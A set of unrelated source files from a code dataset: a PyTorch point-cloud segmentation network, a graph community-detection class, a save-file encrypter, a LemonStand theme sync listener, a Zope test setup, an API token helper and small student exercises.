= np.mean(group_ps, axis=0)\n center_xyz[batch] = torch.from_numpy(center_ps)\n x_id = []\n for i in range(group_num):\n group_ps = np.take(ps, np.where(label == i), axis=0)[0]\n group_ft = np.take(ft, np.where(label == i), axis=0)[0]\n number = group_ps.shape[0]\n if number <= 0:\n x_id.append(i)\n break\n for j in range(number, group_size):\n group_ps = np.row_stack((group_ps, group_ps[j - number]))\n group_ft = np.row_stack((group_ft, group_ft[j - number]))\n group_xyz[batch][i] = torch.from_numpy(group_ps[:group_size])\n group_feature[batch][i] = torch.from_numpy(group_ft[:group_size])\n if len(x_id) > 0:\n index.reset()\n index.add(ps)\n x = np.take(center_ps, x_id, axis=0)\n D, I = index.search(np.take(center_ps, x_id, axis=0), group_size)\n for i, center_id in enumerate(x_id):\n group_xyz[batch][center_id] = torch.from_numpy(np.take(ps, I[i], axis=0))\n group_feature[batch][center_id] = torch.from_numpy(np.take(ft, I[i], axis=0))\n return center_xyz, group_xyz, group_feature\n\nclass SA(torch.nn.Module):\n '''\n params: \n npoints, nfeature, group_num, mlp, index\n\n input: \n xyz: batch_size * npoints * 3\n feature: batch_size * npoints * nfeature\n \n output:\n center_xyz: batch_size * group_num * 3\n center_feature: batch_size * group_num * new_feature(mlp[2])\n '''\n def __init__(self, npoints, nfeature, group_num, mlp, index):\n super(SA, self).__init__()\n self.npoints = npoints\n self.index = index\n self.group_num = group_num\n self.group_size = npoints // group_num\n self.nfeature = nfeature\n self.pointnet = Pointnet(self.group_size, nfeature, mlp)\n\n def forward(self, xyz, feature):\n batch_size = xyz.size(0)\n # center_xyz = sample(xyz, self.group_num)\n # group_xyz, group_feature = group(center_xyz, xyz, feature, self.group_size, self.index)\n\n center_xyz, group_xyz, group_feature = cluster(xyz, feature, self.group_size, self.group_num, self.index)\n\n group_feature = group_feature.view(-1, self.group_size, self.nfeature)\n center_feature = self.pointnet(group_feature)\n center_feature = center_feature.view(batch_size, -1, center_feature.size()[1])\n return center_xyz, center_feature\n\n\nclass SegNet(torch.nn.Module):\n def __init__(self, npoints, nclass):\n super(SegNet, self).__init__()\n self.res = faiss.StandardGpuResources()\n self.index = faiss.index_cpu_to_gpu(self.res, 0, faiss.IndexFlatL2(3))\n self.sa1 = SA(npoints, 3, 512, [64, 64, 128], self.index)\n self.sa2 = SA(512, 128, 128, [128, 128, 256], self.index)\n self.sa3 = SA(128, 256, 1, [256, 512, 1024], self.index)\n self.fc3 = torch.nn.Sequential(\n Conv1d(1280, 256),\n Conv1d(256, 256),\n )\n self.fc2 = torch.nn.Sequential(\n Conv1d(384, 256),\n Conv1d(256, 128),\n )\n self.fc1 = torch.nn.Sequential(\n Conv1d(131, 128),\n Conv1d(128, nclass),\n )\n\n def forward(self, x):\n xyz_1, feature_1 = x, x\n xyz_2, feature_2 = self.sa1(xyz_1, feature_1) \n xyz_3, feature_3 = self.sa2(xyz_2, feature_2)\n xyz_4, feature_4 = self.sa3(xyz_3, feature_3)\n print(\"global\")\n fp_feature_3 = torch.cat([feature_3, feature_4.repeat(1, feature_3.size(1), 1)], 2)\n fp_feature_3 = self.fc3(fp_feature_3.transpose(1, 2)).transpose(1, 2)\n fp_feature_2 = self.interpolate(xyz_2, feature_2, xyz_3, fp_feature_3)\n fp_feature_2 = self.fc2(fp_feature_2.transpose(1, 2)).transpose(1, 2)\n fp_feature_1 = self.interpolate(xyz_1, feature_1, xyz_2, fp_feature_2)\n fp_feature_1 = self.fc1(fp_feature_1.transpose(1, 2)).transpose(1, 2)\n print(\"interpolate\")\n return fp_feature_1.contiguous()\n\n def interpolate(self, xyz_down, feature_down, xyz_up, feature_up):\n '''\n xyz_down: batch_size * group_size_down * 3\n feature_down : batch_size * group_size_down * 3\n xyz_up: batch_size * group_size_up * 3\n feature_up : batch_size * group_size_up * 3\n '''\n batch_size = xyz_down.size(0)\n group_size_down = feature_down.size(1)\n feature_size_up = feature_up.size(2)\n feature_size_down = feature_down.size(2)\n device = xyz_down.get_device()\n new_feature = torch.zeros(batch_size, group_size_down, feature_size_up).cuda(device)\n for i in range(batch_size):\n self.index.reset()\n self.index.add(xyz_up[i].cpu().numpy())\n D, I = self.index.search(xyz_down[i].cpu().numpy(), 3)\n for j in range(group_size_down):\n sigma_dis = 0\n for k in range(3):\n if abs(D[j][k] < 1e-6):\n dis = 1e10\n else:\n dis = 1 / D[j][k]\n new_feature[i][j] += feature_up[i][I[j][k]] * dis\n sigma_dis += dis\n new_feature[i][j] /= sigma_dis\n new_feature = torch.cat((new_feature, feature_down), 2)\n return new_feature\n \n\nif __name__ == \"__main__\":\n net = SegNet(2048, 5)\n net.cuda()\n x = torch.randn(20, 2048, 3).cuda()\n y = net(x)\n out(y)\n","sub_path":"model/cstnet.py","file_name":"cstnet.py","file_ext":"py","file_size_in_byte":9701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"147521211","text":"import struct\n\n\n\nimport networkx as nx\n\n\n\nimport community as community_louvain\n\n\n\nclass Graph(object):\n def __init__(self, prefix, directed, colored):\n \"\"\"\n Graph class defines the basic graph structure for addax used for clustering commmunities, motif discovery,\n and generating random examples\n\n @param prefix: a string to reference this graph by\n @param directed: indicates if the graph is directed or undirected\n @param colored: indicates if the nodes in the graph have color\n \"\"\"\n self.prefix = prefix\n self.directed = directed\n self.colored = colored\n\n # vertices is a mapping from the vertex index to the vertex object\n self.vertices = {}\n # edges is a list of edges with sources, destinations, and weights\n self.edges = []\n # the edge set contains a list of (source, destination) indices\n self.edge_set = set()\n\n def AddVertex(self, index, enumeration_index, community = -1, color = -1):\n \"\"\"\n Add a vertex to the graph\n\n @param index: the index for the vertex\n @param enumeration_index: an internal ordering system for enumeration speed up\n @param community: the community that the vertex belongs to (default = -1)\n @param color: the color that the vertex has (default = -1)\n \"\"\"\n # vertices must have unique indices\n assert (not index in self.vertices)\n\n # create the vertex and add it to the mapping\n vertex = self.Vertex(self, index, enumeration_index, community, color)\n self.vertices[index] = vertex\n\n def AddEdge(self, source_index, destination_index, weight = 1):\n \"\"\"\n Add an edge to the graph\n\n @param source_index: the integer of the source index in the graph\n @param destination_index: the integer of the destination index in the graph\n @param weight: the weight of this edge where higher values indicate greater strength (default = 1)\n \"\"\"\n # the source and destination indices must actually belong to vertices\n assert (source_index in self.vertices)\n assert (destination_index in self.vertices)\n\n # do not allow self loops\n assert (not source_index == destination_index)\n\n # if the graph is undirected, make the source destination the smaller of the two indices\n if not self.directed and destination_index < source_index:\n tmp = destination_index\n destination_index = source_index\n source_index = tmp\n\n # create the edge and add it to the list of edges\n edge = self.Edge(self, source_index, destination_index, weight)\n self.edges.append(edge)\n\n # add to the set of edges in the graph for easier look up\n if self.directed:\n self.edge_set.add((source_index, destination_index))\n else:\n # directed edges go in both directions\n self.edge_set.add((source_index, destination_index))\n self.edge_set.add((destination_index, source_index))\n\n # add the edge to both vertices\n self.vertices[source_index].AddEdge(edge)\n self.vertices[destination_index].AddEdge(edge)\n\n def NVertices(self):\n \"\"\"\n Return the number of vertices in this graph\n \"\"\"\n return len(self.vertices.keys())\n\n def NEdges(self):\n \"\"\"\n Return the number of edges in this graph\n \"\"\"\n return len(self.edges)\n\n def DetectCommunities(self, output_filename = None):\n \"\"\"\n Returns a list of communities based on the Louvain algorithm\n \"\"\"\n # initialize a networkx graph\n G = nx.Graph()\n\n # add all vertices\n for vertex in self.vertices.values():\n G.add_node(vertex.index)\n\n # add all edges to the networkx graph\n undirected_edges = {}\n for edge in self.edges:\n # get the min and max edge\n edge_one = min(edge.source_index, edge.destination_index)\n edge_two = max(edge.destination_index, edge.source_index)\n\n if not (edge_one, edge_two) in undirected_edges:\n undirected_edges[(edge_one, edge_two)] = edge.weight\n else:\n undirected_edges[(edge_one, edge_two)] += edge.weight\n\n # add the undirected edge to the graph\n for (edge_one, edge_two) in undirected_edges:\n G.add_edge(edge_one, edge_two, weight=undirected_edges[(edge_one, edge_two)])\n\n # determine communities in the graph\n partition = community_louvain.best_partition(G)\n\n # write the partition to file\n if not output_filename == None:\n with open(output_filename, 'wb') as fd:\n fd.write(struct.pack('q', self.NVertices()))\n for (neuron_id, community) in partition.items():\n fd.write(struct.pack('qq', neuron_id, community))\n\n # get a list of communities using the Louvain algorithm\n return partition\n\n def Communities(self):\n \"\"\"\n Return a mapping from vertex indices to communities\n \"\"\"\n communities = {}\n\n for vertex in self.vertices.values():\n communities[vertex.index] = vertex.community\n\n return communities\n\n class Vertex(object):\n def __init__(self, graph, index, enumeration_index, community = -1, color = -1):\n \"\"\"\n Vertex class defines the vertices in a graph that are labeled by the index\n\n @param graph: the larger graph that contains this vertex\n @param index: the integer index that corresponds to this vertex\n @param enumeration_index: an internal ordering system for enumeration speed up\n @param community: the community that the vertex belongs to (default = -1)\n @param color: the color that the vertex has (default = -1)\n \"\"\"\n self.graph = graph\n self.index = index\n self.enumeration_index = enumeration_index\n self.community = community\n self.color = color\n\n # extra instance variables keep track of the ingoing and outgoing edges from the vertex\n self.incoming_edges = []\n self.outgoing_edges = []\n # keep track of incoming and outgoing neighbors\n self.incoming_neighbors = set()\n self.outgoing_neighbors = set()\n self.neighbors = set()\n\n def AddEdge(self, edge):\n \"\"\"\n Add this edge to the set of edges for this vertex and ensure no edge parallelism\n\n @param edge: the edge that connects this vertex to another\n \"\"\"\n # ensure that this is a valid edge for this vertex\n assert (edge.source_index == self.index or edge.destination_index == self.index)\n\n # if the graph is directed, add the incoming or outgoing edge\n if self.graph.directed:\n if edge.source_index == self.index:\n self.outgoing_edges.append(edge)\n assert (not edge.destination_index in self.outgoing_neighbors)\n self.outgoing_neighbors.add(edge.destination_index)\n self.neighbors.add(edge.destination_index)\n else:\n self.incoming_edges.append(edge)\n assert (not edge.source_index in self.incoming_neighbors)\n self.incoming_neighbors.add(edge.source_index)\n self.neighbors.add(edge.source_index)\n # if the graph is not directed, add the edge to both incoming and outgoing\n else:\n self.incoming_edges.append(edge)\n self.outgoing_edges.append(edge)\n\n if edge.source_index == self.index:\n assert (not edge.destination_index in self.incoming_neighbors and not edge.destination_index in self.outgoing_neighbors)\n self.incoming_neighbors.add(edge.destination_index)\n self.outgoing_neighbors.add(edge.destination_index)\n self.neighbors.add(edge.destination_index)\n else:\n assert (not edge.source_index in self.incoming_neighbors and not edge.source_index in self.outgoing_neighbors)\n self.incoming_neighbors.add(edge.source_index)\n self.outgoing_neighbors.add(edge.source_index)\n self.neighbors.add(edge.source_index)\n\n def IncomingNeighborIndices(self):\n \"\"\"\n Returns the neighbors with edges going from\n \"\"\"\n return self.incoming_neighbors\n\n def OutgoingNeighborIndices(self):\n \"\"\"\n Returns the neighbors with an edge from this vertex to that neighbor\n \"\"\"\n return self.outgoing_neighbors\n\n def NeighborIndices(self):\n \"\"\"\n Return all neighbors from this vertex regardless of incoming and outgoing status\n \"\"\"\n return self.neighbors\n\n\n class Edge(object):\n def __init__(self, graph, source_index, destiantion_index, weight = 1):\n \"\"\"\n Edge class defines the edges in a graph that connect the vertices\n\n @param graph: the larger graph that contains this edge\n @param source_index: the integer of the source index in the graph\n @param destination_index: the integer of the destination index in the graph\n @param weight: the weight of this edge where higher values indicate greater strength (default = 1)\n \"\"\"\n self.graph = graph\n self.source_index = source_index\n self.destination_index = destiantion_index\n self.weight = weight\n","sub_path":"data_structures/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":9812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"597136092","text":"#! /usr/bin/env python3\n\ndef main():\n a = [((1,2),(3,5))]\n iterateur = iter(a)\n# depart = next(iterateur)\n# prec = depart\n# n = [ p for p,s in iterateur if p!=s]\n for p,s in iterateur:\n if p!=s:\n print(p!=s)\n\n\n\n\n\n\nmain()\n","sub_path":"semestre5/python/test/exam_mi_semestre2016/exam2016.py","file_name":"exam2016.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"4317696","text":"\"\"\"\nencrypt.py- encrypter for stickmanranger save files.\nI want people to be able to mad this game, but i dont \nnecessarily want people to be able to change it up \nsuper easily!\"\"\"\nfrom cryptography.fernet import Fernet\nfrom itertools import count\nimport os\nimport shutil\nimport time\n\nif not os.name == 'nt':\n os.getlogin = lambda: __import__('pwd').getpwuid(os.getuid())[0]\n\nCURRENT_TIME = time.asctime()\nPATH = {\n 'nt': 'C:\\\\Users\\\\{}\\\\.stickman_new_world\\\\save\\\\'.format(os.getlogin()),\n 'posix': '/home/{}/.stickman_new_world/save/'.format(os.getlogin()),\n}[os.name]\n\nPATH_NUMERIC = os.path.join(PATH, '%s') + '\\\\' if os.name == 'nt' else '/'\nprint(PATH_NUMERIC)\n\nif not os.path.exists(PATH):\n os.makedirs(PATH)\n\nFILE = PATH + '.smr-save'\nprint(FILE)\n\n\ndef encrypt(string):\n if not os.path.exists(PATH):\n os.makedirs(PATH)\n\n prev_key = os.listdir(PATH)\n for f in prev_key:\n if not f in ('.smr-save', 'time'):\n os.remove(PATH + f)\n\n prev_dir = 0\n for number in count():\n if os.path.exists(PATH_NUMERIC % number):\n prev_dir = number\n\n else:\n # the system can't find this file, but it will only\n # be the first one it doesnt find.\n prev_dir = number\n break\n\n def_path = PATH\n # os.mkdir(def_path)\n\n key = Fernet.generate_key()\n # simply make a file with that name\n with open(def_path + key.decode(), 'w'):\n pass\n\n encrypter = Fernet(key)\n cipher = encrypter.encrypt(string.encode())\n\n with open(FILE, 'wb') as cipher_file:\n cipher_file.write(cipher)\n\n with open((os.path.join(def_path, 'time')), 'w') as time_file:\n time_file.write(CURRENT_TIME)\n return cipher\n\n\ndef decrypt(spec=None):\n prev_dir = spec\n\n if spec is None:\n prev_dir = 0\n for number in count():\n if os.path.exists(PATH_NUMERIC % number):\n prev_dir = number\n\n else:\n # the system can't find this file, but it will only\n # be the first one it doesnt find.\n break\n\n data = open(FILE, 'rb').read()\n key = os.listdir(PATH)\n key.pop(key.index('.smr-save'))\n key.pop(key.index('time'))\n key = key[0].encode()\n\n encrypter = Fernet(key)\n text = encrypter.decrypt(data).decode()\n\n saved_time = open(os.path.join(PATH, 'time')).read()\n\n return text, saved_time\n\n\nif __name__ == '__main__':\n time = __import__('time').asctime()\n print(encrypt(open('misc\\\\shello.ini').read()))\n print(decrypt()[0], decrypt()[1], sep='\\n\\n\\n')\n","sub_path":"game/encrypt.py","file_name":"encrypt.py","file_ext":"py","file_size_in_byte":2591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"631959743","text":"# Copyright (c) 2014 LemonStand eCommerce Inc. https://lemonstand.com/\n# All rights reserved.\n#\n# This is free and unencumbered software released into the public domain.\n\n# Anyone is free to copy, modify, publish, use, compile, sell, or\n# distribute this software, either in source code form or as a compiled\n# binary, for any purpose, commercial or non-commercial, and by any\n# means.\n#\n# In jurisdictions that recognize copyright laws, the author or authors\n# of this software dedicate any and all copyright interest in the\n# software to the public domain. We make this dedication for the benefit\n# of the public at large and to the detriment of our heirs and\n# successors. We intend this dedication to be an overt act of\n# relinquishment in perpetuity of all present and future rights to this\n# software under copyright law.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n# IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n# OTHER DEALINGS IN THE SOFTWARE.\n#\n# For more information, please refer to \n\nimport sys \nimport time\nimport os \nimport json\nimport requests\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\nimport time\nfrom Connector import Connector\nfrom watchdog.events import PatternMatchingEventHandler\nfrom colorama import Fore, Back, Style\n\nclass Listener (PatternMatchingEventHandler):\n\t# The number of times to retry a connection to LemonStand API\n\tRETRIES = 2\n\n\tdef __init__ (self, connection, config, utils):\n\t\tPatternMatchingEventHandler.patterns = config.file_patterns\n\t\tPatternMatchingEventHandler.ignore_patterns = config.ignore_patterns\n\t\tPatternMatchingEventHandler.ignore_directories = True\n\t\tPatternMatchingEventHandler.case_sensitive = True\n\n\t\tself.connection = connection\n\t\tself.config = config\n\t\tself.utils = utils\n\t\tself.reset = self.RETRIES\n\n\tdef __check_connection (self):\n\t\t# Get a new connection object to lemonstand API\n\t\tc = Connector()\n\t\tidentity = c.get_identity(self.config.api_host, self.config.api_access)\n\t\tconnection = c.s3_connection(identity);\n\t\tself.connection = connection\n\n\t\treturn\n\n\tdef __reset_retries (self):\n\t\tself.reset = self.RETRIES\n\n\tdef __register (self, event_path):\n\t\tpath = event_path.replace(self.config.watch_dir, '')\n\t\tdata = { 'keys': [path.replace('\\\\', '/')] }\n\n\t\ttry:\n\t\t\t# Update the resource with LemonStand\n\t\t\tres = requests.put(\n\t\t\t\tself.config.api_host + '/api/v2/resource/touch', \n\t\t\t\theaders = { \n\t\t\t\t\t'Content-Type': 'application/json',\n\t\t\t\t\t'Authorization': 'Bearer ' + self.config.api_access\n\t\t\t\t},\n\t\t\t\tdata=json.dumps(data), \n\t\t\t\tallow_redirects=False,\n\t\t\t\tverify=False\n\t\t\t)\n\n\t\t\tif res.status_code != 200:\n\t\t\t\traise Exception()\n\t\texcept:\n\t\t\tprint(Fore.RED + '[' + time.strftime(\"%c\") + '] Failed to register file with LemonStand!' + Style.RESET_ALL)\n\n\tdef remove (self, event_path):\n\t\tpath = event_path.replace(self.config.watch_dir, '')\n\t\tkey = \"/\".join([self.connection[\"store\"], \"themes\", self.connection[\"theme\"], path.replace('\\\\', '/')])\n\n\t\ttry:\n\t\t\tself.connection[\"bucket\"].delete_key(key)\n\t\t\tprint(Fore.GREEN + '[' + time.strftime(\"%c\") + '] Successfully removed ' + path + Style.RESET_ALL)\n\t\texcept:\n\t\t\tif (self.reset > 0):\n\t\t\t\tself.reset-=1\n\t\t\t\tself.__check_connection()\n\t\t\t\tself.remove(event_path)\n\t\t\telse:\n\t\t\t\tprint(Fore.RED + '[' + time.strftime(\"%c\") + '] Failed to remove ' + path + Style.RESET_ALL)\n\n\t\tself.__reset_retries()\n\t\t# Register the file with LS\n\t\tself.__register(event_path)\n\n\tdef upsert (self, event_path):\n\t\tpath = event_path.replace(self.config.watch_dir, '')\n\t\tkey = \"/\".join([self.connection[\"store\"], \"themes\", self.connection[\"theme\"], path.replace('\\\\', '/')])\n\t\texpires = int(time.time())\n\t\theaders = {\n\t\t\t'Cache-Control': \"max-age=\" + str(expires) + \", public\",\n\t\t\t'Expires': expires\n\t\t}\n\n\t\ttry:\n\t\t\tk = self.connection[\"bucket\"].new_key(key)\n\t\t\tk.set_contents_from_filename(event_path, headers=headers)\n\t\t\tprint(Fore.GREEN + '[' + time.strftime(\"%c\") + '] Successfully uploaded ' + path + Style.RESET_ALL)\n\t\texcept:\n\t\t\tif (self.reset > 0):\n\t\t\t\tself.reset-=1\n\t\t\t\tself.__check_connection()\n\t\t\t\tself.upsert(event_path)\n\t\t\telse:\n\t\t\t\tprint(Fore.RED + '[' + time.strftime(\"%c\") + '] Failed to upload ' + path + Style.RESET_ALL)\n\n\t\tself.__reset_retries()\n\t\t# Register the file with LS\n\t\tself.__register(event_path)\n\n\tdef on_modified (self, event):\n\t\tself.upsert(event.src_path)\n\n\tdef on_created (self, event):\n\t\tself.upsert(event.src_path)\n\n\tdef on_moved (self, event):\n\t\tself.upsert(event.dest_path)\n\n\tdef on_deleted (self, event):\n\t\tself.remove(event.src_path)","sub_path":"lemonsync/Listener.py","file_name":"Listener.py","file_ext":"py","file_size_in_byte":4906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"226091348","text":"##############################################################################\n#\n# Copyright (c) 2003 Zope Corporation. All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Visible Source\n# License, Version 1.0 (ZVSL). A copy of the ZVSL should accompany this\n# distribution.\n#\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE\n#\n##############################################################################\n\"\"\"\n\n$Id$\n\"\"\"\nimport unittest\nfrom zope.app.testing import placelesssetup\nfrom zope import component, interface\nimport zope.publisher.interfaces.browser\nimport zope.schema.interfaces\nimport zope.app.form.browser\nfrom zc.sharing import policy\nimport zc.sharing.sharing\nimport zc.table.interfaces\nimport zc.table.table\n\nclass ICon:\n \n def __init__(self, name):\n self.name = name\n\n def __call__(self, request=None):\n if request is None:\n return 'http://mysite/%s' % self.name\n \n return self\n\ndef sharingSetUp(test):\n placelesssetup.setUp(test)\n component.provideAdapter(\n zope.app.form.browser.CheckBoxWidget,\n (zope.schema.interfaces.IBool,\n zope.publisher.interfaces.browser.IBrowserRequest,\n ),\n zope.app.form.interfaces.IInputWidget)\n component.provideAdapter(\n ICon('user_icon.gif'),\n [zope.publisher.interfaces.browser.IBrowserRequest],\n interface.Interface, 'user_icon.gif')\n component.provideAdapter(\n ICon('group_icon.gif'),\n [zope.publisher.interfaces.browser.IBrowserRequest],\n interface.Interface, 'group_icon.gif')\n interface.directlyProvides(zc.table.table.FormFullFormatter,\n zc.table.interfaces.IFormatterFactory)\n component.provideUtility(zc.table.table.FormFullFormatter,\n zc.table.interfaces.IFormatterFactory)\n\ndef sharingTearDown(test):\n placelesssetup.tearDown()\n zc.sharing.sharing.clearPrivileges()\n\ndef test_suite():\n from zope.testing import doctest\n return unittest.TestSuite((\n doctest.DocFileSuite(\n 'sharing.txt',\n setUp=sharingSetUp, tearDown=sharingTearDown,\n optionflags=doctest.NORMALIZE_WHITESPACE,\n ),\n ))\n\nif __name__ == '__main__':\n unittest.main(defaultTest='test_suite')\n\n","sub_path":"zc.sharing/trunk/src/zc/sharing/browser/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"457059901","text":"#-*- coding:utf-8 -*-\n__author__ = 'TAOQIN001'\n\n\nfrom datetime import datetime\nimport json\nimport hmac\nimport hashlib\nimport traceback\nimport uuid\nfrom urllib.parse import unquote\nimport requests\n\nclass GetToken(object):\n\n def __init__(self, user, pwd , endpoint=\"http://10.1.249.11:8070/api\"):\n self.echoToken = str(uuid.uuid1())\n self.user = user\n self.pwd = pwd\n self.endpoint = endpoint\n\n def get_caller_and_secrets(self):\n try:\n r = requests.get(url=self.endpoint + \"/Caller\", timeout=60)\n caller = str((json.loads(r.content)[0]).split(':')[1])\n except Exception:\n traceback.print_exc()\n raise Exception(u\"get caller failed lead to get access token failed\")\n else:\n try:\n headers = {\"echoToken\": str(self.echoToken)}\n r = requests.post(url=self.endpoint + \"/Caller?Key=\" + caller, headers=headers).content\n secrets = unquote(r.split(\",\")[1].split(\":\")[1])\n if secrets[-1] == '\"':\n secrets = secrets[:-2]\n except Exception:\n traceback.print_exc()\n raise Exception(u\"get secrets failed lead to get access token failed\")\n return caller, secrets\n\n\n def CalculateTokenSign(self):\n '''\n 根据caller和secret计算获取access token的签名\n '''\n caller, secret = self.get_caller_and_secrets()\n strDate = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n tokenSign = hmac.new(secret, caller + strDate, hashlib.md5).hexdigest()\n return tokenSign, strDate, caller\n\n\n def get_token(self):\n \"\"\"\n # 获取auth环境的user_token,access_token\n # 返回类型为list\n # 分别为：user_token,access_token\n \"\"\"\n result = list()\n # 计算 CallerId，SignDate，Sign值；然后调用AccessToken接口，获取AccessToken值。\n tokenSign, strDate, caller =self.CalculateTokenSign()\n token_sign = json.dumps({'CallerId': caller, 'Sign': tokenSign, 'SignDate': strDate})\n url2 = self.endpoint + \"/AccessToken\"\n headers = {\"Content-Type\": \"application/json\"}\n headers[\"echoToken\"] = str(self.echoToken)\n try:\n r2 = requests.post(url=url2, data=token_sign, headers=headers, timeout=60)\n assert r2.status_code == 200, \"status_code is not 200.{0},{1}\".format(url2, r2.status_code)\n except:\n traceback.print_exc()\n else:\n try:\n access_token = json.loads(r2.text)['AccessToken']\n except:\n traceback.print_exc()\n else:\n # 先调用登录接口/api/Login，获取STToken值； 再调用/api/Token，获取UserToken值\n url3 = self.endpoint + \"/Login\"\n headers = dict()\n headers[\"Content-Type\"] = \"application/json\"\n headers[\"AccessToken\"] = access_token\n headers[\"echoToken\"] = str(self.echoToken)\n data_dict = dict()\n data_dict[\"Username\"] = self.user\n data_dict[\"Password\"] = self.pwd\n\n data_dict[\"HmacSign\"] = \"niwei001\"\n data = json.dumps(data_dict, ensure_ascii=False)\n try:\n r3 = requests.post(url=url3, data=data, headers=headers, timeout=60)\n assert r3.status_code == 200, \"status_code is not 200\"\n except:\n traceback.print_exc()\n else:\n try:\n st_token = json.loads(r3.text)[\"St\"][\"STToken\"]\n except:\n traceback.print_exc()\n else:\n url4 = self.endpoint + \"/Token\"\n headers = dict()\n headers[\"Content-Type\"] = \"application/json\"\n headers[\"AccessToken\"] = access_token\n headers[\"echoToken\"] = str(self.echoToken)\n data_dict = dict()\n data_dict[\"STToken\"] = st_token\n data_dict[\"HmacSign\"] = \"niwei001\"\n data = json.dumps(data_dict, ensure_ascii=False)\n try:\n r4 = requests.post(url=url4, data=data, headers=headers, timeout=60)\n assert r4.status_code == 200, \"status_code is not 200\"\n except:\n traceback.print_exc()\n else:\n try:\n user_token = json.loads(r4.text)['Token']\n except:\n traceback.print_exc()\n else:\n # 封装到list中\n result.append(user_token)\n result.append(access_token)\n try:\n a=result[0]\n except Exception as e:\n raise e+\"\\nget tokenlist is \"+str(result)\n return result\n\n# if __name__ == \"__main__\":\n# a = GetToken(\"13761701741\", \"a\")\n# print a.get_token()\n","sub_path":"utils/hhub3/gettoken.py","file_name":"gettoken.py","file_ext":"py","file_size_in_byte":5386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"422675199","text":"\"\"\"Користувач вводить координати клітин. Програма рахує, чи може\n\r\nпоходити слон\"\"\"\n\"\"\"\nblack - x парні, у парні\n \r\nх непарні, у непарні\r\n\nwhite - х парні, у непарні\n \r\nх непарні, у парні\n\"\"\"\r\n\nprint(\"Please, enter four coordinates from 1 to 8 in format X\")\r\n\nx1=int(input(\"X1 is: \"))\r\n\ny1=int(input(\"Y1 is: \"))\r\n\nx2=int(input(\"X2 is: \"))\r\n\ny2=int(input(\"Y2 is: \"))\r\n\nif (x1%2==1 and y1%2==1) or (x1%2==0 and y1%2==0): #for first - black \n \r\n\tif (x2%2==1 and y2%2==1) or (x2%2==0 and y2%2==0): #for second - black \n \r\n\t\tprint(\"TRUE\") \n \r\n\telse: #for second - white \n \r\n\t\tprint(\"FALSE\") \r\n\nelse: #for first - white \n \r\n\tif (x2%2==1 and y2%2==0) or (x2%2==0 and y2%2==1): #for second - white \n \r\n\t\tprint(\"TRUE\") \n \r\n\telse: #for second - black \n \r\n\t\tprint(\"FALSE\")\r\n\nif (x2-x1==y1-y2) or (x2-x1==y2-y1):\n \r\n\tprint(\"YES\")\r\n\nelif (x1-x2==y1-y2) or (x1-x2==y2-y1):\n \r\n\tprint(\"YES\")\r\n\nelse:\n \r\n\tprint(\"NO\")\r\n\r\n#----------------------------------------------------------------------------\r\npin_throw = input()\r\n\r\nN = int(pin_throw.split()[0])\r\n\r\nK = int(pin_throw.split()[1])\r\n\r\nlist_to_compare = []\r\n\r\nlist_a = []\r\n\r\nfor j in range(1, N + 1):\r\n list_to_compare.append(j)\r\n\r\nfor i in range(K):\r\n\r\n row = input()\r\n\r\n left = int(row.split()[0])\r\n\r\n right = int(row.split()[1])\r\n\r\n for i in range(left, right + 1):\r\n list_a.append(i)\r\n\r\nfor element in list_to_compare:\r\n\r\n if element in list_a:\r\n\r\n print('.', end=\"\")\r\n\r\n else:\r\n\r\n print('I', end=\"\")\r\n#---------------------------------------------------------------------------------------------------------------\r\nnum_list = []\r\nnum_count = int (input (\"Enter count\"))\r\nwhile len(num_list) < num_count:\r\n num_list.append(int(input('Введіть число')))\r\nprint (num_list)\r\nsum = 0\r\nfor i in range (0,len(num_list)):\r\n sum += num_list[i]\r\nprint (sum)\r\n#------------------------------------------------------------------------------------------------------------------\r\nnum_list = []\r\nnum_count = int (input (\"Enter count\"))\r\nwhile len(num_list) < num_count:\r\n num_list.append(int(input('Введіть число')))\r\nprint (num_list)\r\ni = 0\r\nsum = 0\r\nwhile i != len(num_list):\r\n sum += num_list[i]\r\n i += 1\r\nprint (sum)","sub_path":"homework_8.py","file_name":"homework_8.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"240164899","text":"###############################################################################\n#\tFilename:\tItari8_S.py\n#\t\n#\tConfidential and Proprietary, Copyright 2001 by Totally Games\n#\t\n#\tCreates Itari 8 static objects. \n#\tCalled by Itari8.py when region is created\n#\t\n#\tCreated:\t10/04/01 - Tony Evans (Added Header)\n#\tModified:\t10/04/01 - Tony Evans\n###############################################################################\nimport App\nimport Tactical.LensFlares\n\ndef Initialize(pSet):\n\t# Add a sun, far far 